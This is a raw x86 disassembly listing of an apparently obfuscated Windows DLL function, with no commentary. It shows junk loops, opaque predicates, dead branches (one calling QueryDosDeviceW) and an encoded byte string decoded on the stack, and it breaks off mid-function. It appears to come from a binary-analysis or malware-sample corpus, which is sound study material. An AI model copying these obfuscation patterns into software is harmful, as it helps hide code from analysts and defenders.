mov dword [ebp - 0x20], 1
mov dword [ebp - 0x378], 1
mov dword [ebp - 0x238], 0
jmp 0x1004677a
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 2
jge 0x10046796
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0x258], 0xfdad5a51
jmp 0x1004676d
cmp dword [ebp - 0x1c], 0
je 0x10046834
mov eax, dword [ebp - 0x1c]
sub eax, 0x6ad155d7
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jge 0x100467bf
mov dword [ebp - 0x55c], 1
jmp 0x100467c6
and dword [ebp - 0x55c], 0
mov dword [ebp - 0x20], 0xf9ac
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x55c]
je 0x100467e4
mov dword [ebp - 0x360], 1
jmp 0x100467eb
and dword [ebp - 0x360], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x258]
cmp dword [ebp - 0x360], eax
jne 0x1004680c
mov dword [ebp - 0x480], 1
jmp 0x10046813
and dword [ebp - 0x480], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x258]
cmp dword [ebp - 0x480], eax
jl 0x10046834
mov dword [ebp - 0x368], 1
jmp 0x1004683b
and dword [ebp - 0x368], 0
cmp dword [ebp - 0x368], 0xffffffff
jne 0x10046a57
push 4
lea ecx, [ebp - 0x7e8]
call fcn.10017e9c
mov dword [ebp - 4], 9
mov dword [ebp - 0x710], 7
mov dword [ebp - 0x1dc], 0
jmp 0x1004687f
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 4
jge 0x1004689e
push dword [ebp - 0x1dc]
lea ecx, [ebp - 0x7e8]
call fcn.10017f3a
or dword [eax], 0xffffffff
jmp 0x10046872
mov dword [ebp - 0x1c], 0
jmp 0x100468ae
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jg 0x10046a43
mov dword [ebp - 0x218], 0
jmp 0x100468d1
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 2
jge 0x100468ed
mov eax, dword [ebp - 0x218]
mov dword [ebp + eax*4 - 0x910], 0xcaad901
jmp 0x100468c4
mov dword [ebp - 0x20], 0
jmp 0x100468fd
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jg 0x10046941
mov dword [ebp - 0x1e4], 0x520ea0c8
mov dword [ebp - 0x1e4], 1
jmp 0x10046926
mov eax, dword [ebp - 0x1e4]
dec eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0
jl 0x1004693f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x258], 0x392f2092
jmp 0x10046919
jmp 0x100468f6
mov dword [ebp - 0x20], 0
jmp 0x10046951
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jg 0x10046a3e
mov dword [ebp - 0x21c], 0
jmp 0x10046974
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 2
jge 0x10046990
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x5b4], 0x90ce96f8
jmp 0x10046967
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x5b4], 1
jmp 0x100469be
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5b4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x5b4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5b4], 0
jl 0x100469e4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x258]
mov dword [ebp + ecx*4 - 0x258], eax
jmp 0x100469a3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x910]
mov dword [ebp - 0x9d0], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x258], 0x9e189c5c
xor eax, eax
sub eax, 0x9e189c5c
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x510], eax
push 3
lea ecx, [ebp - 0x7e8]
call fcn.10017f3a
mov ecx, dword [ebp - 0x510]
mov dword [eax], ecx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x710], eax
jmp 0x1004694a
jmp 0x100468a7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7e8]
call fcn.10017f1e
jmp 0x10046c68
mov dword [ebp - 0x5f0], 0xfd59
mov dword [ebp - 0x578], 0xffffffff
mov dword [ebp - 0x1c], 0
jmp 0x10046a7b
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jg 0x10046c68
mov dword [ebp - 0xdc], 0xffffffff
mov dword [ebp - 0x1ec], 0
jmp 0x10046aa8
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 3
jge 0x10046ac4
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0xa20], 0x38bf9cc5
jmp 0x10046a9b
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x258], 0
jne 0x10046b89
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0xdc], eax
jl 0x10046aef
mov dword [ebp - 0x370], 1
jmp 0x10046af6
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x370]
sub eax, 0x652f5217
cmp eax, dword [ebp - 0xdc]
jg 0x10046b1b
cmp dword [ebp - 0xdc], 0
jne 0x10046b1b
and dword [ebp - 0x564], 0
jmp 0x10046b25
mov dword [ebp - 0x564], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x258]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x488]
mov dword [ebp + eax*4 - 0x258], ecx
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x564]
jge 0x10046b6b
mov dword [ebp - 0x380], 1
jmp 0x10046b72
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x5f0]
cmp dword [ebp - 0x380], eax
je 0x10046b89
and dword [ebp - 0x490], 0
jmp 0x10046b93
mov dword [ebp - 0x490], 1
mov eax, dword [ebp - 0x490]
sub eax, 0x7759ea4d
cmp eax, 1
jge 0x10046baf
mov dword [ebp - 0x388], 1
jmp 0x10046bb6
and dword [ebp - 0x388], 0
cmp dword [ebp - 0x388], 0x1fffe
jle 0x10046bce
mov dword [ebp - 0x518], 1
jmp 0x10046bd5
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x518], eax
jge 0x10046bec
mov dword [ebp - 0x390], 1
jmp 0x10046bf3
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x390], eax
jl 0x10046c16
mov eax, 0x3b76
test eax, eax
je 0x10046c16
mov dword [ebp - 0x498], 1
jmp 0x10046c1d
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x20], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa20]
cmp dword [ebp - 0x20], eax
jne 0x10046c44
mov dword [ebp - 0x398], 1
jmp 0x10046c4b
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x578], eax
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0xdc], eax
jmp 0x10046a74
and dword [ebp - 0x224], 0
jmp 0x10046c7e
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xb
jae 0x10046c97
mov eax, dword [ebp - 0x224]
mov byte [ebp + eax - 0x5ac], 0
jmp 0x10046c71
mov dword [ebp - 0x990], 1
mov dword [ebp - 0x98c], 1
mov dword [ebp - 0x988], 1
mov dword [ebp - 0x984], 1
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f4], 3
jmp 0x10046ce2
mov eax, dword [ebp - 0x1f4]
dec eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
jl 0x10046cf5
push 1
call fcn.100435d3
pop ecx
jmp 0x10046cd5
mov dword [ebp - 0x60], 0x4643cdf9
mov dword [ebp - 0x520], 1
mov dword [ebp - 0x1b4], 0
jmp 0x10046d1f
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 4
jge 0x10046d3b
mov eax, dword [ebp - 0x1b4]
mov dword [ebp + eax*4 - 0x720], 0xc93b4e1
jmp 0x10046d12
mov dword [ebp - 0x60], 3
jmp 0x10046d4b
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x10046eb0
mov dword [ebp - 0x698], 0xfffffffa
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x10046d79
push 1
call fcn.10043610
pop ecx
mov eax, dword [ebp - 0x60]
cmp dword [ebp + eax*4 - 0x720], 0xe31551da
jne 0x10046d95
mov dword [ebp - 0x4a8], 1
jmp 0x10046d9c
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x60]
imul eax, dword [ebp + eax*4 - 0x720], 0x758e
cmp eax, dword [ebp - 0x60]
jg 0x10046dbb
mov dword [ebp - 0x3a0], 1
jmp 0x10046dc2
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp + eax*4 - 0x720]
neg eax
sub eax, dword [ebp - 0x3a0]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x720]
je 0x10046dfc
mov eax, dword [ebp - 0x60]
cmp dword [ebp + eax*4 - 0x720], 0
je 0x10046dfc
mov dword [ebp - 0x4a0], 1
jmp 0x10046e03
and dword [ebp - 0x4a0], 0
cmp dword [ebp - 0x4a0], 1
jl 0x10046e1b
cmp dword [ebp - 0x60], 0
jne 0x10046e1b
and dword [ebp - 0x3a8], 0
jmp 0x10046e25
mov dword [ebp - 0x3a8], 1
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x520], eax
mov eax, dword [ebp - 0x520]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x720]
je 0x10046e58
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x10046e58
mov dword [ebp - 0x3b0], 1
jmp 0x10046e5f
and dword [ebp - 0x3b0], 0
cmp dword [ebp - 0x3b0], 0x461e
je 0x10046e77
mov dword [ebp - 0x3b8], 1
jmp 0x10046e7e
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x4a8]
cmp eax, dword [ebp - 0x3b8]
jne 0x10046e98
mov dword [ebp - 0x560], 1
jmp 0x10046e9f
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x698], eax
jmp 0x10046d44
mov byte [ebp - 0x17c], 6
mov byte [ebp - 0x17b], 0xb1
mov byte [ebp - 0x17a], 5
mov byte [ebp - 0x179], 8
mov byte [ebp - 0x178], 3
mov byte [ebp - 0x177], 3
mov byte [ebp - 0x176], 7
mov byte [ebp - 0x175], 4
mov byte [ebp - 0x174], 1
mov byte [ebp - 0x173], 0
mov byte [ebp - 0x172], 4
mov byte [ebp - 0x171], 2
mov byte [ebp - 0x170], 8
mov byte [ebp - 0x16f], 4
mov byte [ebp - 0x16e], 0x10
mov byte [ebp - 0x16d], 0xa0
mov byte [ebp - 0x16c], 0x7c
mov byte [ebp - 0x16b], 0xc9
mov byte [ebp - 0x16a], 0x19
mov byte [ebp - 0x169], 0x32
mov byte [ebp - 0x168], 0x9a
mov byte [ebp - 0x167], 0xa2
mov byte [ebp - 0x166], 0xeb
mov byte [ebp - 0x165], 0xbf
mov byte [ebp - 0x164], 0xfe
mov byte [ebp - 0x163], 0x6f
mov byte [ebp - 0x162], 0x35
mov byte [ebp - 0x161], 7
mov byte [ebp - 0x160], 0xa7
mov byte [ebp - 0x15f], 0x55
mov byte [ebp - 0x15e], 0xdb
mov byte [ebp - 0x15d], 9
mov byte [ebp - 0x15c], 0
mov byte [ebp - 0x15b], 0
mov byte [ebp - 0x15a], 1
mov byte [ebp - 0x159], 2
mov byte [ebp - 0x158], 6
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x17c]
or eax, 0x88
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x17c]
and ecx, 0x88
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x17c]
mov byte [ebp + ecx - 0x588], al
mov dword [ebp - 0x28], 2
and dword [ebp - 0x138], 0
jmp 0x10047009
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x25
jae 0x100470e7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x17c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x10047053
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x17c]
inc eax
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x17c]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x28], eax
jmp 0x10047001
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x17b]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x138]
movzx ecx, byte [ebp + ecx - 0x17e]
movsx ecx, byte [ebp + ecx - 0x588]
add eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x17b]
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x138]
movzx edx, byte [ebp + edx - 0x17e]
movsx edx, byte [ebp + edx - 0x588]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x17b]
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x138]
movzx edx, byte [ebp + edx - 0x17e]
movsx edx, byte [ebp + edx - 0x588]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x17c]
mov byte [ebp + ecx - 0x588], al
and dword [ebp - 0x138], 0
jmp 0x10047001
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x588], 0
lea eax, [ebp - 0x588]
push eax
lea ecx, [ebp - 0xae0]
call fcn.10025d19
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 4], 0xa
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x6d8]
call fcn.1002fe27
pop ecx
mov dword [ebp - 0x600], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xae0]
call fcn.10017dfe
mov dword [ebp - 0x1fc], 0xffffffff
mov dword [ebp - 0x88], 0xfffffffc
mov dword [ebp - 0x1fc], 0x16
jmp 0x10047172
mov eax, dword [ebp - 0x1fc]
dec eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 7
jl 0x10047262
mov dword [ebp - 0x22c], 0x2d149fe
mov dword [ebp - 0x120], 0x4b733c63
push 1
lea eax, [ebp - 0x120]
push eax
push 0x307a
call fcn.10043639
add esp, 0xc
mov dword [ebp - 0x22c], 0xffffffe5
jmp 0x100471c2
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0xffffffec
je 0x1004725d
mov dword [ebp - 0x88], 0xc
jmp 0x100471e8
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xe
je 0x10047258
mov dword [ebp - 0x120], 0x19
jmp 0x1004720a
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x10
jl 0x10047256
mov byte [ebp - 0xa8], 0
movzx eax, byte [ebp - 0xa8]
test eax, eax
je 0x10047234
push 0xf2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x10047254
push 1
push 0x4e56
call fcn.10043677
pop ecx
pop ecx
jmp 0x100471fd
jmp 0x100471db
jmp 0x100471b5
jmp 0x10047165
mov eax, dword [ebp - 0x88]
imul eax, dword [ebp - 0x88]
cmp dword [ebp - 0x88], eax
jle 0x10047283
mov dword [ebp - 0x3c0], 1
jmp 0x1004728a
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x88], eax
and dword [ebp - 0x204], 0
jmp 0x100472ac
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0xb
jae 0x100472c5
mov eax, dword [ebp - 0x204]
mov byte [ebp + eax - 0x588], 0
jmp 0x1004729f
push 1
lea ecx, [ebp - 0x7b8]
call fcn.10017e9c
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x9d8], 0x7831e42a
push 3
lea ecx, [ebp - 0x8e8]
call fcn.10017e9c
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x950], 0xfffffffe
mov dword [ebp - 0x978], 3
mov dword [ebp - 0x804], 0xffffffff
push 4
lea ecx, [ebp - 0x8d8]
call fcn.10017e9c
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x4b0], 7
lea eax, [ebp - 0x68]
push eax
push 0
lea eax, [ebp - 0x7b8]
push eax
call fcn.10044d2d
add esp, 0xc
mov dword [ebp - 0x68], 0
jmp 0x10047352
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x1004736e
push dword [ebp - 0x68]
lea ecx, [ebp - 0x8e8]
call fcn.10017f3a
mov dword [eax], 0x2bb11acc
jmp 0x1004734b
mov dword [ebp - 0x68], 0
jmp 0x1004737e
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x10047397
push dword [ebp - 0x68]
lea ecx, [ebp - 0x8d8]
call fcn.10017f3a
and dword [eax], 0
jmp 0x10047377
push 1
lea eax, [ebp - 0x7b8]
push eax
call fcn.100436ae
pop ecx
pop ecx
mov eax, dword [ebp - 0x4b0]
dec eax
mov dword [ebp - 0x4b0], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x8d8]
call fcn.10017f1e
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x8e8]
call fcn.10017f1e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7b8]
call fcn.10017f1e
push dword [ebp - 0x600]
push dword [ebp - 0x6a0]
call fcn.100411ee
pop ecx
pop ecx
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x9bc], 0xffffffff
mov dword [ebp - 0x80c], 0
mov dword [ebp - 0x930], 0x6de713a4
push 2
lea ecx, [ebp - 0x8f8]
call fcn.10017e9c
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x814], 0x8d0d3f7b
mov dword [ebp - 0x980], 0x693009ce
mov dword [ebp - 0x81c], 0xf072
mov dword [ebp - 0x9a4], 1
mov dword [ebp - 0x9a0], 1
mov dword [ebp - 0x99c], 1
mov dword [ebp - 0x998], 1
mov dword [ebp - 0x608], 0xfffffff6
lea eax, [ebp - 0x8f8]
push eax
push 0
push 0x2b17
lea eax, [ebp - 0x938]
push eax
push 0x56dc
push 0x61e9
push 0x755d
push 0x65c2
call fcn.10043e59
add esp, 0x20
lea eax, [ebp - 0x608]
push eax
push 1
push 0x5078
push 0x205c
push 0x5dcb
push 0x297b
call fcn.100436e5
add esp, 0x18
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8f8]
call fcn.10017f1e
push 0xf8b
lea eax, [ebp - 0x98]
push eax
push 1
lea eax, [ebp - 0x3c8]
push eax
call fcn.1004390a
add esp, 0x10
lea eax, [ebp - 0x3c8]
push eax
push 1
push 0x4156
push 0x2f2f
lea eax, [ebp - 0x10]
push eax
call fcn.10043966
add esp, 0x14
mov dword [ebp - 0x20c], 0xffffffff
mov dword [ebp - 0x23c], 0x6a756a33
mov dword [ebp - 0x824], 0x9ba095a9
mov dword [ebp - 0x94c], 1
mov dword [ebp - 0x74], 0x6d4a0d46
mov dword [ebp - 0x5d8], 1
mov dword [ebp - 0xcc], 0x169c1477
mov dword [ebp - 0x234], 0
jmp 0x10047579
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 2
jge 0x10047595
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x74c], 0x7862
jmp 0x1004756c
mov dword [ebp - 0x20c], 1
jmp 0x100475ae
mov eax, dword [ebp - 0x20c]
dec eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jl 0x10047789
mov dword [ebp - 0x82c], 0xfa5c62e0
mov dword [ebp - 0x6e8], 0x9a924c00
mov dword [ebp - 0x610], 8
push 0x53fe
push 0x4f54
push 0
push 0x5247
push 0x1321
lea eax, [ebp - 0x5d8]
push eax
push 0x595
call fcn.10044547
add esp, 0x1c
mov dword [ebp - 0x23c], 1
jmp 0x1004761c
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jl 0x10047784
mov dword [ebp - 0x56c], 8
mov dword [ebp - 0x618], 0xfffffff9
mov dword [ebp - 0x74], 0
jmp 0x1004764d
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jg 0x1004777f
mov dword [ebp - 0x6a8], 0xfbfc75da
mov dword [ebp - 0x620], 0xf57b
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp + eax*4 - 0x74c]
sub eax, dword [ebp - 0x610]
cmp eax, 0x96a5
jne 0x100476d2
cmp dword [ebp - 0x6a8], 0
jne 0x100476a9
xor eax, eax
inc eax
je 0x100476a0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x74c], 0
jne 0x100476a9
and dword [ebp - 0x528], 0
jmp 0x100476b3
mov dword [ebp - 0x528], 1
mov eax, dword [ebp - 0x528]
sub eax, 5
imul eax, eax, 0xc2e3
test eax, eax
je 0x100476d2
mov dword [ebp - 0x3d0], 1
jmp 0x100476d9
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x3d0], eax
jge 0x100476f3
mov dword [ebp - 0x4b8], 1
jmp 0x100476fa
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x4b8]
neg eax
cmp eax, dword [ebp - 0x56c]
jne 0x10047716
mov dword [ebp - 0x3d8], 1
jmp 0x1004771d
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x3d8], eax
jl 0x10047737
mov dword [ebp - 0x3e0], 1
jmp 0x1004773e
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x56c]
cmp dword [ebp - 0x3e0], eax
jle 0x10047758
mov dword [ebp - 0x4c0], 1
jmp 0x1004775f
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x618], eax
mov eax, dword [ebp - 0x6e8]
shl eax, 3
mov dword [ebp - 0x620], eax
jmp 0x10047646
jmp 0x1004760f
jmp 0x100475a1
mov dword [ebp - 0x74], 1
jmp 0x10047799
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jl 0x10047807
mov dword [ebp - 0xcc], 1
jmp 0x100477b8
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jl 0x10047805
mov byte [ebp - 0xb0], 0
movzx eax, byte [ebp - 0xb0]
test eax, eax
je 0x100477e1
push 0x19f8
push 0
call fcn.10044df9
pop ecx
pop ecx
mov byte [ebp - 0x93], 0
push 0x4670
push 0x43bb
lea eax, [ebp - 0x93]
push eax
push 1
call fcn.100439f5
add esp, 0x10
jmp 0x100477ab
jmp 0x10047792
and dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x18], 0
jbe 0x10047836
push 0x465b
push 0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x4ed1
call fcn.10044771
add esp, 0x14
mov dword [ebp - 0x148], 0x80d416db
mov dword [ebp - 0x2b8], 0
mov dword [ebp - 0x6b0], 0x382bdb97
xor eax, eax
jne 0x10047893
cmp dword [ebp - 0x148], 0
jne 0x10047868
cmp dword [ebp - 0x148], 0
mov dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x148]
cmp dword [ebp - 0x2b8], eax
je 0x1004788c
mov dword [ebp - 0x3e8], 1
jmp 0x10047893
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x6b0], eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x2b8]
push eax
push 1
call fcn.10043b07
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
sub eax, dword [ebp - 0x10c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x214], 0xe91a049f
mov dword [ebp - 0x214], 0
jmp 0x100478f5
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 5
jne 0x10047ad4
mov dword [ebp - 0x244], 0x22124f84
mov dword [ebp - 0x244], 0xffffffee
jmp 0x10047925
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0xfffffff3
je 0x10047acf
push 2
lea ecx, [ebp - 0x6e4]
call fcn.10017e9c
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x24c], 0
jmp 0x1004795f
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 2
jge 0x10047981
push dword [ebp - 0x24c]
lea ecx, [ebp - 0x6e4]
call fcn.10017f3a
mov dword [eax], 0xfffffffe
jmp 0x10047952
push 1
lea ecx, [ebp - 0x6e4]
call fcn.10017f3a
mov dword [eax], 0x15
jmp 0x100479ba
push 1
lea ecx, [ebp - 0x6e4]
call fcn.10017f3a
mov dword [ebp - 0x530], eax
mov eax, dword [ebp - 0x530]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x530]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x6e4]
call fcn.10017f3a
cmp dword [eax], 2
jg 0x10047abb
push 1
lea ecx, [ebp - 0x7a0]
call fcn.10017e9c
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x128], 0xffffffff
mov dword [ebp - 0x220], 0
jmp 0x10047a04
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jge 0x10047a26
push dword [ebp - 0x220]
lea ecx, [ebp - 0x7a0]
call fcn.10017f3a
mov dword [eax], 0xfffffff9
jmp 0x100479f7
mov dword [ebp - 0x128], 0
jmp 0x10047a3f
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 1
jge 0x10047a71
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x7a0]
push eax
push 0x7c99
push 0
push 0x13ce
push 0x243
call fcn.100444cd
add esp, 0x18
jmp 0x10047a32
mov byte [ebp - 0xaa], 0
push 0x1253
push 0x3b41
push 1
push 0x40c7
push 0x3699
lea eax, [ebp - 0xaa]
push eax
push 0xf55
push 0x6ee6
call fcn.10043cae
add esp, 0x20
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x7a0]
call fcn.10017f1e
jmp 0x10047996
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6e4]
call fcn.10017f1e
jmp 0x10047918
jmp 0x100478e8
and dword [ebp - 0x140], 0
jmp 0x10047aea
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
cmp eax, dword [ebp - 0xb8]
jge 0x10047ba3
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [eax + 0x14]
sub eax, dword [ecx + 0x18]
cmp dword [ebp - 0x140], eax
jae 0x10047b40
push 0x7c11
push 1
lea eax, [ebp - 0x10]
push eax
push 0x39d4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10043e59
add esp, 0x20
jmp 0x10047b69
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x8c]
add eax, dword [ecx + 0x10]
push eax
mov eax, dword [ebp - 0x8c]
push dword [eax + 0x14]
